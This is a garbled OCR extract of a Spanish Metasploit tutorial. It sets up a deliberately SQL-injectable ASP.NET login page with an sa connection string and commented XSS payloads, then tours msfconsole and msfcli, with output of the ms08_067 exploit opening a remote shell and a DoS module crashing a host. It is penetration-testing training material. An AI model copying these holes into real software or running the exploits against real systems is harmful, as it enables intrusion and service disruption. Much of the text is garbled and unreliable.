First_name varchar(s0) = Idenity}

[Marne) users

lask_narne warchar{500

middle_narme warchar{50) Description

password varchar{s0) Scherna dbo

Guarde la table "users", click derecho y seleccione "Open Table".



= [ Tables
[ Svstem Tables
=1 dbo,Crders

Bl dbo. Users
[ views Mew Table...
[ synonyms Madify
[ Programmabili  Cpen Table
[ Fecurity Script Table as r

Introduzca algunos datos de ejemplo en la tabla y guardelo todo.

~Table - dbo.uusers | Table - dbo.users | Summary - X

userid sername first_name last_name middle_name password
1 adrnin adrmin adrnin adrnin s3cr 3k
z jsmith john amith by passwiord
3 biohnson bob john=on billy 31337

L& 3

ALLL ALEL ALLL ALLL ALEL

Bajo del arbol principal en "Object Explorer", expanda "Security", luego "Logins". Click derecho en "Logins" y seleccione "New

Login".

Object Explarer

22 e T

= |y FOCC-#P\SOLEXPRESS (SOL Server 9.0.1399 - 55
[ Databases
= [ Security

= Co R
E]E

Mew Login,..
o E Filter »
PR Refresh EMSSQLUserd

.

En la ventana "Login - New", seleccione "Search", escriba "aspnet" y haga click en "Check Names". Click "OK" pero mantenga la

ventana de "Login -New" abierta.

Login nanme: |

(%) Windows authentication
Select User or Group
Select thiz object type:
|Llser ar Built-in securnity principal | [ Object Types... ] :I

From this location:
|FDI:I:-><F' H Locations... ]

Enter the object name to select [examples):

FOCCHPWASPMHET Check Mames

]

%) [(Ced ]

Haga click en las propiedades de ASPNET, y asegurese que en user mapping (del lado izquierdo) la cuenta de usuario tiene
db_owner y permisos publicos a la base de datos WebApp.



F Login Properties - FDCC-XPYASPNET

GE;;‘:;T“& 5 Seript = [ Help
27 Server Roles
27 User Mapping Uzers mapped to this logir:
= Securables [ Map D atabase Lzer Default Scherma
o]
[ Stats ] master
[ model
[] mzdb
F] tempdb
 webdpp . FDCCH#PYASPMET dbo =
- D atabaze role memberzhip for Webdpp
I chon’
[] db_acceszadmin
Server [] db_backupoperatar
FDCC-#PASOLEXPRESS [] db_datareader
; db_datawriter
C tion; [] db_
7 FRRERIER [] db_ddladmin
) [[] db_derwdatareader
3y View connection properties iD db_denydatavriter
db_cuner
Progress [] db_securityadmin
e public
Ready
Ok ] [ Cancel

A continuacion, creamos nuestra pagina web para interactuar con la base de datos que hemos creado. Abra Notepad y pegue el
siguiente cédigo en un nuevo documento. Guarde el documento como "C:\Inetpub\wwwroot\Default.aspx".

———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————

| CodeFile="Default.aspx.cs" Inherits="_Default" %>

| <%--the ValidateRequest="true" in the page directiv

| potentially dangerous inputs--%>

i <IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transi
1 "http://iwww.w3.org/TR/xhtml1/DTD/xhtml1-transitiona

e will check for <script> and other

tional//EN"
|.dtd">

<html xmlIns="http://www.w3.0rg/1999/xhtml" >
' <head runat="server">

i </head>

i <body bgcolor="white">

i <form id="form1" runat="server">
P <div>

<font color="black"><h1>Login Page</h1></font>
1 <asp:Label ID="IblErrorMessage" Font-Size="Larger"
| runat="server" />

ForeColor="red" Visible="false"

1 <font color="black">



1 <asp:Panel ID="pnlLogin" Visible="true" runat="serv er'>

i <asp:Table ID="tblLogin" runat="server">

i <asp:TableRow>

1 <asp:TableCell>

| <asp:Literal Text="Login:" runat="server" />

» </asp:TableCell>

| <asp:TableCell>

| <asp:TextBox ID="txtLogin" width="200" BackColor="w hite" ForeColor="black"
| runat="server" />

| </asp:TableCell>

i </asp:TableRow>

I <asp:TableRow>

i <asp:TableCell>

1 <asp:Literal ID="ItrIPassword" Text="Password" runa t="server" />
1 </asp:TableCell>

© <asp:TableCell>

1 <asp:TextBox ID="txtPassword" width="200" TextMode= "password" BackColor="white"
. ForeColor="black" runat="server" />

i </asp:TableCell>

i </asp:TableRow>

i <asp:TableRow>

i <asp:TableCell ColumnSpan="2" HorizontalAlign="cent er'>
i <asp:Button ID="btnSubmit" BorderColor="white" Back Color="white" ForeColor="black"
i Text="Login" OnClick="btnSubmit_Clicked" runat="ser ver" />

| <br /></asp:TableCell>

» </asp:TableRow>

: </asp:Table>

: <h5>Please dont hack this site :-(

| </asp:Panel>

| <asp:Panel ID="pnIChatterBox" Visible="false" runat ="server">
' You haz logged in! :-)

| </asp:Panel>

' </font>

v </div>

¢ </form>
+ </body>
+ </html>

! using System:; ;
' using System.Data;

i using System.Data.Sq|IClient;

' using System.Configuration;

' using System.Web;

i using System.Web.Security;

' using System.Web.Ul;

' using System.Web.Ul.WebControls;

1 using System.Web.Ul.WebControls.WebParts;

' using System.Web.Ul.HtmIControls;

public partial class _Default : System.Web.Ul.Page

 {

© protected SglConnection objConn = new

. SglConnection(ConfigurationManager.ConnectionString s["test"].ToString());
! protected string sql ="

+ protected void Page_Load(object sender, EventArgs e )

{

' if((Request.QueryString[“login"] != null) &&
i (Request.QueryString["password"] != null))

! Response.Write(Request.QueryString["login“]. ToStrin g() + "<BR><BR><BR>" +
i Request.QueryString["password"]. ToString());

1 sgl = "SELECT first_name +'' + last_name +"'' + middle_name FROM users WHERE username =" +



.

Request.QueryString["login"] + ™ " +

"AND password =" + Request.QueryString["password"
Login();

}

}

public void btnSubmit_Clicked(object o, EventArgs e

IblErrorMessage.Text = ",
IblErrorMessage.Visible = false;

if (txtLogin.Text =="")

IblErrorMessage.Text = "Missing login name!<br />";
IblErrorMessage.Visible = true;

}

else
if (txtPassword.Text =="")

IblErrorMessage.Text = "Missing password!<br />";
IblErrorMessage.Visible = true;

}

else

sql = "SELECT first_name +'' + last_ name +'' +
txtLogin.Text + " " +

"AND password =" + txtPassword.Text + "";
Login();

}

}

}

private void Login()

{

/[correct sql string using sql parameters.

/Istring sqgl = "SELECT first_name + ' ' + last_name
/I "AND password = @txtPassword";

SglCommand cmd = new SglCommand(sql, objConn);

/leach parameter needs added for each user inputted
/lto take the input literally and not break out wit
/lcmd.Parameters.AddWithValue("@txtLogin", txtLogin
/lcmd.Parameters.AddWithValue("@txtPassword", txtPa

objConn.Open();
if (cmd.ExecuteScalar() '= DBNull.Value)
if (Convert.ToString(cmd.ExecuteScalar()) = ")

IblErrorMessage.Text = "Sucessfully logged in!";
IblErrorMessage.Visible = true;

pnlLogin.Visible = false;

pniChatterBox.Visible = true;

}

else

IblErrorMessage.Text = "Invalid Login!";
IblErrorMessage.Visible = true;

}

}

else

IblErrorMessage.Text = "Invalid Username/";
IblErrorMessage.Visible = true;

}

objConn.Close();

/I<style type="text/css">TABLE {display: none !impo
/I<style type="text/css">body{background-color: #ff
/I<style type="text/css">div {display: none !limport

middle_name FROM users WHERE username =" +

FROM users WHERE username = @txtLogin " +

value...

h malicious input....
.Text);
ssword.Text);

rtant;}</style> //remove tables totally.
ffff;}</style> //change background color
ant;}</style> //remove all divs, blank out



lI<script>alert("hello");</script>

/I<meta http-equiv="refresh" content="0; url=http:/

}

 <?xml version="1.0"2>

<configuration>

<connectionStrings>

<add name="test" connectionString="server=localhost
providerName="System.Data.SqlClient"/>
</connectionStrings>

<system.web>

<!-- DYNAMIC DEBUG COMPILATION

Set compilation debug="true" to enable ASPX debuggi
false will improve runtime performance of this appl
Set compilation debug="true" to insert debugging sy
into the compiled page. Because this creates a larg
more slowly, you should set this value to true only
false at all other times. For more information, ref
debugging ASP.NET files.

->

<compilation defaultLanguage="c#" debug="true">
<assemblies>
<add assembly="System.Design, Version=2.0.0.0, Cult

<add assembly="System.Windows.Forms, Version=2.0.0.
PublicKkeyToken=B77A5C561934E089"/></assemblies></co

<l-- CUSTOM ERROR MESSAGES
Set customErrors mode="0On" or "RemoteOnly" to enabl
Add <error> tags for each of the errors you want to

"On" Always display custom (friendly) messages.
"Off" Always display detailed ASP.NET error informa
"RemoteOnly" Display custom (friendly) messages onl
on the local Web server. This setting is recommende
that you do not display application detail informat

-->

<customErrors mode="0ff"/>

<!-- AUTHENTICATION

This section sets the authentication policies of th
"Forms", "Passport" and "None"

"None" No authentication is performed.

"Windows" IIS performs authentication (Basic, Diges
its settings for the application. Anonymous access
"Forms" You provide a custom form (Web page) for us
you authenticate them in your application. A user ¢
"Passport" Authentication is performed via a centra
by Microsoft that offers a single logon and core pr
-->

<authentication mode="Windows"/>

<!-- AUTHORIZATION

This section sets the authorization policies of the

to application resources by user or role. Wildcards
(unauthenticated) users.

>

<authorization>

<allow users="*"/>

<!-- Allow all users -->

<l-- <allow users="[comma separated list of users]"
roles="[comma separated list of roles]"/>

<deny users="[comma separated list of users]"
roles="[comma separated list of roles]"/>

>

</authorization>

<!-- APPLICATION-LEVEL TRACE LOGGING
Application-level tracing enables trace log output
Set trace enabled="true" to enable application trac
trace information will be displayed at the bottom o
application trace log by browsing the “trace.axd" p
root.

>

<trace enabled="false" requestLimit="10" pageOutput
<!-- SESSION STATE SETTINGS

By default ASP.NET uses cookies to identify which r
If cookies are not available, a session can be trac
To disable cookies, set sessionState cookieless="tr

/www.google.com" />

;database=WebApp;uid=sa;password=passwordl;"

ng. Otherwise, setting this value to
ication.

mbols(.pdb information)

er file that executes

when debugging and to

er to the documentation about

ure=neutral, PublicKeyToken=B03F5F7F11D50A3A"/>
0, Culture=neutral,
mpilation>

e custom error messages, "Off" to disable.
handle.

tion.

y to users not running

d for security purposes, so
ion to remote clients.

e application. Possible modes are "Windows",

t, or Integrated Windows) according to
must be disabled in 1IS.

ers to enter their credentials, and then
redential token is stored in a cookie.
lized authentication service provided
ofile services for member sites.

application. You can allow or deny access
1" mean everyone, "?" means anonymous

for every page within an application.

e logging. If pageOutput="true", the

f each page. Otherwise, you can view the
age from your web application

="false" traceMode="SortByTime" localOnly="true"/>
equests belong to a particular session.

ked by adding a session identifier to the URL.
ue".



<sessionState mode="InProc" stateConnectionString=" tcpip=127.0.0.1:42424" sqlConnectionString="data
source=127.0.0.1;Trusted_Connection=yes" cookieless ="false" timeout="20"/>

<!-- GLOBALIZATION

This section sets the globalization settings of the application.

>

<globalization requestEncoding="utf-8" responseEnco ding="utf-8"/>

</system.web>

</configuration>

Abra Internet Explorer y escriba "http://tu direccion ip". Deberia mostrar un formulario solicitando un login de acceso. Escriba
unos datos falsos para comprobar que la consulta se ejecuta correctamente en la base de datos.

3 « Interactuando con MSF

Interactuando con MSF

Hay diferentes interfaces para el framework Metsigptada uno con sus ventajas y desventajas. Galnwo hay una interfaz
perfecta para usar con MSF, aunque msfconsolelegsda forma soportada para acceder a la mayor@sdemracteristicas del
Framework. Es beneficiosa, sin embargo, para edtapdo con todas las interfaces que ofrece MSF.

El siguiente modulo proporciona una vision gendealas distintas interfaces, junto con una disecudiinde veremos el mejor
uso para cada una.

3.1 msfconsole

Msfconsole

= root@btd: fpentest/fexploits/framework3 - Shell - Kc™® & =

Session Edit WView Bookmarks Settings Help

msT w3.3-dew

3956 exploits - 239 payloads
20 encoders - 7 nops

181 aux

La msfconsole es probablemente la interfaz maslpoga MSF. Ofrece una consola centralizada "todof®" y permite un
acceso eficiente a todo las opciones disponiblédeatasploit Framework. Msfconsole puede parecénidante al principio,
pero una vez que aprendes la sintaxis de los carsaaptenderas apreciar el poder de utilizar estefaa.




La interfaz msfconsole funciona bajo Windows cowmdesion 3.3, sin embargo los usuarios de la vier3i@ tendran que instalar
manualmente el Framework bajo Cygwin, junto coim$alacion de Ruby, o acceder al emulador dertaala a traves de la
Web o por los componentes GUI.

Beneficios de msfconsole

1 * Es la Ginica manera soportada para acceder a la ma yoria de las funciones dentro de Metasploit.
. * Proporciona una interfaz basada en consola al Fra mework.

1 * Contiene la mayoria de las caracteristicas y es | a interfaz mas estable de MSF.

1 * Soporte completo de edicion de lineas (readline), tabulacion, y completacion de comandos.
* Es posible la ejecucion de comandos externos a tr avés de msfconsole.

 msf > ping -¢ 1 192.168.1.2
i [*] exec: ping -c 1 192.168.1.2
i PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data

64 bytes from 192.168.1.2: icmp_seq=1 ttI=128 time= 10.3 ms
1 --- 192.168.1.2 ping statistics ---

1 1 packets transmitted, 1 received, 0% packet loss, time Oms
1 rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 m S

: msf >

Obteniendo ayuda.

Escribiendo "help" o "?" en el command pront de, msfstrara una lista de los comandos disponibles juna descripcion de su
uso.

'msf > help
Core Commands

Command Description

po? Help menu i
1 back Move back from the current context i
1 banner Display an awesome metasploit bann er i
rocd Change the current working directo ry |
i1 connect  Communicate with a host |
Looexit Exit the console |
i help Help menu |
i info Displays information about one or more module |
P irb Drop into irb scripting mode |
i jobs Displays and manages jobs |
. load Load a framework plugin :
! loadpath  Searches for and loads modules fro m a path !
L quit Exit the console !
. resource  Run the commands stored in a file
' ...snip... !

Completacion con tab.

Una de las caracteristicas mas Utiles de msfcoesatempletacion con tab. Con la gran variedad @#ufos disponibles, puede
ser dificil recordar el nombre exacto y ruta delalghodulo en particular que se quiera usar. Comnla erayoria de los shells,
escribiendo lo que sabes y presionando "Tab" lenamasuna lista de las opciones disponibles o se@mpletara la palabra si
hay una sola opcién

i msf > use exploit/windows/smb/ms
i use exploit/windows/smb/ms03_049_netapi



use exploit/windows/smb/ms04_011 Isass

use exploit/windows/smb/ms04_031_netdde

use exploit/windows/smb/ms05_039 pnp

use exploit/windows/smb/ms06_025_rasmans_reg
use exploit/windows/smb/ms06_025 rras

use exploit/windows/smb/ms06_040_netapi

use exploit/windows/smb/ms06_066_nwapi

use exploit/windows/smb/ms06_066_nwwks

use exploit/windows/smb/ms08_067_netapi

use exploit/windows/smb/msdns_zonename

msf > use exploit/windows/smb/ms08_067_netapi

Comando "show".

Introduciendo "show" en el promt de msfconsole éstrara cada modulo disponible en Metasploit.

msf > show
Encoders
Name Description
cmd/generic_sh Generic Shell Variable Substitution Command Encoder
generic/none The "none" Encoder
mipsbe/longxor XOR Encoder
...Snip...

Hay una variedad de comandos "show" que puedeattilpero los que va a utilizar con mas frecuesmia"show auxiliary",
"show exploits" y "show payloads".

Ejecutando "show auxiliary" mostrara una listaaldos los modulos auxiliares disponibles en Metaisgitb modulos Auxiliary

incluye scanners, modulos de denial of servicedtszy mas

msf > show auxiliary

Auxiliary
Name Des cription
admin/backupexec/dump Ver itas Backup Exec Windows Remote File Access
admin/backupexec/registry Ver itas Backup Exec Server Registry Access
admin/cisco/ios_http_auth_bypass Cis co I0S HTTP Unauthorized Administrative Access
...snip...

-

Naturalmente, "show exploits" sera el comando miseésante de ser ejecutado ya que es el nucldaspeit es todo sobre
explotacion. Use "show exploits" para obtener ista He todos los exploits contenidos en el frantkwo

Exploits
Name Descr iption
aix/rpc_ttdbserverd_realpath ToolT alk rpc.ttdbserverd _tt_internal_realpath Buffer Ov erflow
bsdi/softcart/mercantec_softcart Merca ntec SoftCart CGI Overflow

...snip...

Ejecutando "show payloads" mostrara todos los elifi;rs payloads para todas las plataformas disgsnénl Metasploit.

msf > show payloads
Payloads




Name Descriptio n

aix/ppc/shell_bind_tcp AIX Comman d Shell, Bind TCP Inline

aix/ppc/shell_find_port AIX Comman d Shell, Find Port Inline
aix/ppc/shell_reverse_tcp AIX Comman d Shell, Reverse TCP Inline
...Snip...

Asi como ve, hay muchos payloads disponibles. Afatlamente cuando esta usando determinado exaitgdo "show
payloads" solo mostrara los payloads que son cdbhpapara ese particular exploit. Por ejempl@ssiin exploit para Windows,
no se mostraran los payloads para Linux.

msf exploit(ms08_067_netapi) > show payloads
Compatible payloads

Name Description

generic/debug_trap Generic x86 Debug Trap

generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP
Stager (IPv6)

generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP
Stager (No NX or Win7)
...Snip...

Si ha seleccionado un modulo especifico, puedeartiel comando "show options" para mostrar lasarss disponibles y/o
requeridas para ese modulo en especifico.

msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description

RHOST yes The target ad dress

RPORT 445 yes Set the SMB s ervice port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:

Id Name

0 Automatic Targeting

Si no esta seguro si un sistema operativo es vulnerable a un particular exploit, ejecute el comando "show targets" dentro del
contexto de un modulo de exploit para ver que objetivos estan soportados

msf exploit(ms08_067_netapi) > show targets
Exploit targets:

Id Name
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SPO0O/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SPO Universal

...Snip...

Si desea seguir mejorando un exploit, puede vesgda®nes avanzadas ejecutando "show advanced".



msf exploit(ms08_067_netapi) > show advanced
Module advanced options:

Name : CHOST

Current Setting:

Description : The local client address

Name : CPORT

Current Setting:

Description : The local client port
...Snip...

Comando "search".

El msfconsole incluye una funcionalidad de busquesmda en expresiones regulares. Si tiene aldeaageneral de lo que esta
buscando, puede buscarlo con "search". En la sa@didéajo, una busqueda se hizo para MS Bulleti@9H.1. Esta
funcionalidad de bisqueda localizara esta cadetexttedentro del modulo de referencia.

Tenga en cuenta la nomenclatura que se usa erdlglas de Metasploit, subrayas (underscore) emlgaguiones.

msf > search ms09-001
[*] Searching loaded modules for pattern ‘'ms09-001'
Auxiliary

Name Description

dos/windows/smb/ms09_001_write Microsoft SRV.SYS

WriteAndX Invalid DataOffset

Comando "info".

EL comando "info" proporciona informacion detalladre un determinado modulo incluyendo todaspagaoes, objetivos, y

otras informaciones.

msf > info dos/windows/smb/ms09_001_write
Name: Microsoft SRV.SYS WriteAndX Invalid Dat
Version: 6890
License: Metasploit Framework License (BSD)
Provided by:

j.v.vallejo

aOffset

Comando "use".

Cuando se ha decidido por un modulo en particutdice el comando "use" para seleccionarlo.

msf > use dos/windows/smb/ms09_001_write
msf auxiliary(ms09_001_write) > show options
Module options:
Name Current Setting Required Description
RHOST yes The target addr
RPORT 445 yes Set the SMB ser
msf auxiliary(ms09_001_write) >

ess
vice port

Comando "connect".



Utilizando el comando "connect” con una direcciBrylun numero de puerto, se puede conectar a timgmsto desde
msfconsole igual como si usara netcat o telnet.

msf > connect 192.168.1.1 23

[*] Connected to 192.168.1.1:23

yyyyyyIyaya

DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)

y
DD-WRT login:

Comando "set".

El comando "set" es usado para configurar las opsiael modulo que actualmente se esta utilizando

msf auxiliary(ms09_001_write) > set RHOST 192.168.1 A
RHOST =>192.168.1.1
msf auxiliary(ms09_001_write) > show options
Module options:
Name Current Setting Required Description
RHOST 192.168.1.1  yes The target addr ess
RPORT 445 yes Set the SMB ser vice port

Una reciente funcionalidad afiadida a Metasploit es la habilidad de establecer un encoder o codificador para ser usado. Esto
particularmente es util en el desarrollo de un exploit cuando no esta muy seguro que metodo de codificacion de payload
funcionara con un exploit

msf exploit(ms08_067_netapi) > show encoders
Compatible encoders

Name Description

cmd/generic_sh Generic Shell Variable Substitution Command Encoder

generic/none The "none" Encoder

mipsbe/longxor XOR Encoder

mipsle/longxor XOR Encoder

php/base64 PHP Base64 encoder

ppc/longxor PPC LongXOR Encoder

ppc/longxor_tag PPC LongXOR Encoder

sparc/longxor_tag SPARC DWORD XOR Encode r

x64/xor XOR Encoder

x86/alpha_mixed Alpha2 Alphanumeric Mi xedcase Encoder

x86/alpha_upper Alpha2 Alphanumeric Up percase Encoder

x86/avoid_utf8 tolower  Avoid UTF8/tolower

x86/call4_dword_xor Call+4 Dword XOR Encod er

x86/countdown Single-byte XOR Countd own Encoder

x86/fnstenv_mov Variable-length Fnsten v/imov Dword XOR Encoder

x86/jmp_call_additive  Polymorphic Jump/Call XOR Additive Feedback Encoder

x86/nonalpha Non-Alpha Encoder

x86/nonupper Non-Upper Encoder

x86/shikata_ga nai Polymorphic XOR Additi ve Feedback Encoder

x86/unicode_mixed Alpha2 Alphanumeric Un icode Mixedcase Encoder

x86/unicode_upper Alpha2 Alphanumeric Un icode Uppercase Encoder
msf exploit(ms08_067_netapi) > set encoder x86/shik ata_ga_nai

encoder => x86/shikata_ga_nai

Comando "check".




No hay muchos exploits que lo soporten, pero hayaption de "check" la cual comprueba si el objetis vulnerable a un
exploit en particular en lugar de explotarla.

msf exploit(ms04_045_wins) > show options
Module options:
Name Current Setting Required Description

RHOST 192.168.1.114 yes The target addr ess
RPORT 42 yes The target port

Exploit target:

Id Name

0 Windows 2000 English
msf exploit(ms04_045_wins) > check
[-] Check failed: The connection was refused by the remote host (192.168.1.114:42)

Configuracion de variables globales.

Con el fin de no escribir mucho durante un penmstde establecer variables globales dentro deomstte. Puede hacer esto
con el comando "setg". Una vez que se a establdoigimede usar en muchos exploits y mdédulos augdi como le guste.
Tambien lo puede guardar para usarlo la proximacuando ejecute msfconsole. Sin embargo, ciertms ae son guardados,
asi que siempre revise sus opciones antes derusar'"'exploit". Por el contrario puede usar enamdo "unsetg" para eliminar
una variable global. En los ejemplos siguientesytaiables se registran todas en mayusculas (EJE@ST), pero Metasploit
no es sensible a las mayusculas asi que no esanedeacerlo.

msf > setg LHOST 192.168.1.101
LHOST =>192.168.1.101

msf > setg RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf > setg RHOST 192.168.1.136
RHOST =>192.168.1.136

msf > save

Saved configuration to: /root/.msf3/config
msf >

Comando "exploit/run”.

Cuando lanza un exploit, puede usar el comandddigkmientras que si usa un modulo auxiliar, e gsrrecto es "run" aunque
"exploit" funciona tan bien.

msf auxiliary(ms09_001_write) > run

Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue

datalenlow=55535 dataoffset=65535 fillersize=72
rescue

datalenlow=45535 dataoffset=65535 fillersize=72
rescue

datalenlow=35535 dataoffset=65535 fillersize=72
rescue

datalenlow=25535 dataoffset=65535 fillersize=72
rescue

...Snip...

Comando "back".



Cuando haya terminado de usar un modulo, o sigele el modulo equivocado, puede usar el comabdok™ para salir de ese
contexto. Esto, sin embargo no es requerido. Amiocoon los routers comerciales, que puede camiddulos dentro de otros.
Como recordatorio, las variables son cambiadasrsestablecidas globalmente.

msf auxiliary(ms09_001_write) > back
msf >

Comando "resource".

Algunos ataques como Karmetasploit usan archivimsoadles que se pueden cargar a través de msfeamnsando el comando
"resource". Estos archivos son unos scripts bagiams msfconsole. Ejecutan los comandos del ar@nv&ecuencia. Mas
adelante lo discutiremos, fuera de Karmetasplsi puede ser muy dtil.

msf > resource karma.rc
resource> load db_sqlite3

-]

[-] The functionality previously provided by this p lugin has been

[-] integrated into the core command set. Use the n ew 'db_driver'

[-] command to use a database driver other than sql ite3 (which

[-] is now the default). All of the old commands ar e the same.

[]

[-] Failed to load plugin from /pentest/exploits/fr amework3/plugins/db_sqlite3:

Deprecated plugin

resource> db_create /root/karma.db

[*] The specified database already exists, connecti ng
[*] Successfully connected to the database

[*] File: /root/karma.db

resource> use auxiliary/server/browser_autopwn

resource> setg AUTOPWN_HOST 10.0.0.1

AUTOPWN_HOST =>10.0.0.1

...Snip...

Comando "irb".

Si ejecutamos el comando "irb", cambiara al modedieién de scripts en ruby, donde podra usar cdomg crear scripts en el
momento.

msf > irb

[*] Starting IRB shell...

>> puts "Hello, metasploit!"
Hello, metasploit!

3.2 msfcli

Msfcli

Msfcli proporciona una poderosa interfaz de linea de comando al framework.



Session Edit View Bookmarks Settings Help

b : # ./msfcli -h
: ./msfcli <exploit name> <option=value> [mode]

(Hlelp You're looking at it baby!

(S)ummary Show information about=this module

(D)ptions Show available options for this module

(A)dvanced Show available advanced options for this module
(I)D5 Evasion Show awvailable ids evasion options for this module
(P)ayloads Show available payloads for this module

(Tlargets Show available targets for this exploit module
(AC)tions Show available actions for this auxiliary module
(Clheck Run the check routine of the selected module
(E}xecute Execute the selected module

1

| <! & shell |

Note que cuando usa msfcli, las variables son ad&gicon "="y todas las opciones son sensibles a
mayusculas y minusculas.

root@bt4:/pentest/exploits/framework3# ./msfcli win dows/smb/ms08_067_netapi
RHOST=192.168.1.115 PAYLOAD=windows/shell/bind_tcp E

[*] Please wait while we load the module tree...

[*] Started bind handler

[*] Automatically detecting the target...

[*¥] Fingerprint: Windows XP Service Pack 2 - lang:E nglish

[*] Selected Target: Windows XP SP2 English (NX)

[*¥] Triggering the vulnerability...

[*] Sending stage (474 bytes)

[*] Command shell session 1 opened (192.168.1.101:5 4659 -> 192.168.1.115:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Si no esta seguro si una opciones pertenece a un modulo en particular, puede afiadir la letra "O" al final de la cadena en
cualquier punto donde este trancado.

root@bt4:/pentest/exploits/framework3# ./msfcli win dows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...

Name Current Setting Required Description

RHOST yes The target ad dress
RPORT 445 yes Set the SMB s ervice port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Para mostrar los payloads disponibles para el maakitlal, anada la letra "P" a la cadena de la liiteecomandos.




root@bt4:/pentest/exploits/framework3# ./msfcli win
RHOST=192.168.1.115 P
[*] Please wait while we load the module tree...

Compatible payloads

Name

generic/debug_trap
process

...Snip...

dows/smb/ms08_067_netapi

Description

Generate a debug trap in the target

Las otras opciones disponibles para msfcli, lasgipwer con "msfcli -h".

Beneficios de msfcli

* Soporte para usar los modulos exploits y auxiliar
* Util para una tarea especifica.
* Bueno para aprender.
* Conveniente para ser usado en pruebas o desarr
* Herramienta Util si se va usar el exploit una
* Excelente si sabe exactamente que exploity op
* Maravilloso para usar con scripts y automatiza

ollo de un nuevo exploit.
vez.

ciones necesita.

ciones basicas.

La Gnica desventaja real de msfcli es que no sapornismo que msfconsole y solo puede tratar pioéxa la vez, haciéndolo
poco practico para hacer ataques de client-sidaar ataques secundarios. Ademas no soporta niogei@ avanzada de

automatizacién de msfconsole.

3.3 msfgui

Msfgui

Msfgui, como su nombre lo indica, proporciona al usuario una interfaz grafica para el Metasploit Framework

Beneficios del msfgui:

e Esunabuena herramienta para demostraciones en cuanto a cliente y gestidn.

e Proporciona una interfaz “point and click” para la explotacidn.

e Esunainterfaz basada en GTK para la utilizacidn de el Metasploit.

e Soporta un clon para msfconsole presionando ctrl+o o en menu options Window->Console.

e Buscador grafico cuando se utiliza payloads de tipo meterpreter.

e Visualizacién de los trabajos y sesiones mediante ventanas.

Debilidades del msfgui:

e A partir de la versidn 3.3 de Metasploit Framework, msfgui ya no es mantenida.

e No es precisamente estable y es propensa a quebrarse.

Obtenido de "http://www.metasploit-es.com.ar/wiki/index.php/Msfgui"




3.4 msfweb

Msfweb

El componente msfweb de Metasploit es una interfaltiusuario Ruby-sobre-ruedas (Ruby-on-rails)alétramework.

Beneficios del msfweb:

e Soporta multiples usuarios, msfgui esta basada en AJAX.
e Esexcelente para proporcionar administracién o demos de conciencia de usuario.

Desventajas del msfweb:

e Solo es actualizada esporadicamente.
e Funciona, pero da una carga excesiva a la memoria y podria forzar al buscador a un rastreo.
¢ La msfweb no provee en lo absoluto seguridad, y solo se debe utilizar en redes de confianza.

Obtenido de "http://www.metasploit-es.com.ar/wiki/index.php/Msfweb"

4 Obteniendo Informacién

Obteniendo Informacion

La base de cualquier prueba de penetracion exém&arecopilacion solida de informacion. El inclimgento de una adecuada
recopilacion de informacién tendra como resultadebas al azar, atacando maquinas que no son &hlesry perdera aquellas
gue lo son.

Photobucket

A continuacién se cubren diversas caracteristioddetasploit framework que pueden ayudarlo endapiacién de
informacion.

4.1 El Framework Dradis

Framework Dradis

Cuando estas haciendo un pen-test (Prueba de aeide)rformando parte de un equipo o trabajanddipouenta, vas querer
guardar los resultados para una rapida referecmmpartir tus datos con tu equipo, y escribir yporee final. Una excelente
herramienta para realizar todo lo nombrado anteeote es el framework dradis. Dradis es un framkewpen source para
compartir informacion durante evaluaciones de sdgdry se puede conseguir aqui. El framework draslidesarrollado
activamente con nuevas opciones que se le afiagglamaente.

Dradis es mas que una aplicacién para tomar nBeasomunica por SSL, puede importar archivos ddteetos desde Nmap y
Nessus, adjuntar archivos, genera reportes y meegaede ampliar para conectarse con sistemasexi@jemplo. Base de
datos de vulnerabilidad). En back|track4 puedesigge el siguiente comando:

root@bt4: apt-get install dradis




Una vez que el framework a sido instalado, vamasrattorio e iniciamos el servidor:

root@bt4: cd /pentest/misc/dradis/server
root@bt4: ruby ./script/server
=> Booting WEBTick...

=> Rails application started on https://localhost:3004

=> Ctrl-C to shutdown server; call with --help for options
[2009-08-29 13:40:50] INFO WEBrick 1.3.1

[2009-08-29 13:40:50] INFO ruby 1.8.7 (2008-08-11) [i486-linux]

[2009-08-29 13:40:50] INFO

2009-08-29 13:40:50] INFO WEBFrick::HTTPServer#staiti=8881 port=3004

Y ya estamos listo para abrir la interfase webrdelid, Navega https://localhost:3004o usa la direccion IP), acepta la
advertencia del certificado, intruduzca una nuerdrasefia cuando te lo solicite, inicie secciomdeda contrasefia colocada en
el paso anterior. Note que no hay nombres de uspara colocar en el login, puede utilizar cualgn@mbre de usuario que

desee. Si todo va bien, dradis le mostrara el @spaacipal de trabajo.

dradis v2.3.0 - Mozilla Firefox

File Edit Wiew History Bookmarks Tools Help

a2

fr Jlel] httpsilocalhost:3004/

e =

= import from file... [} export +

o add branch | g2 (8] =] || Find a MNode

[ates Impart no

dradis v2.3.0 {logout)

e, Aftachmernts

what's new in thie wvarsion?

I.| Done |

ocalhost:2004 L__"J|E_,-"|_

Del lado izquierdo puedes crear una estructural®.dJselo para organizar su informacion (Ejemplosts, Subnets
(Subredes), Servicios, etc). Del lado derecho pagdegar informacion relevante para cada elemewtag o archivos adjuntos).

Antes de iniciar la consola de dradis, tendra glieeel archivo "dradis.xml" para reflejar el nomltle usuario y contrasefa que
se establecio al principio cuando se ejecuto eidar. Este archivo puede ser localizado en baait bajo

"/pentest/misc/dradis/client/conf".

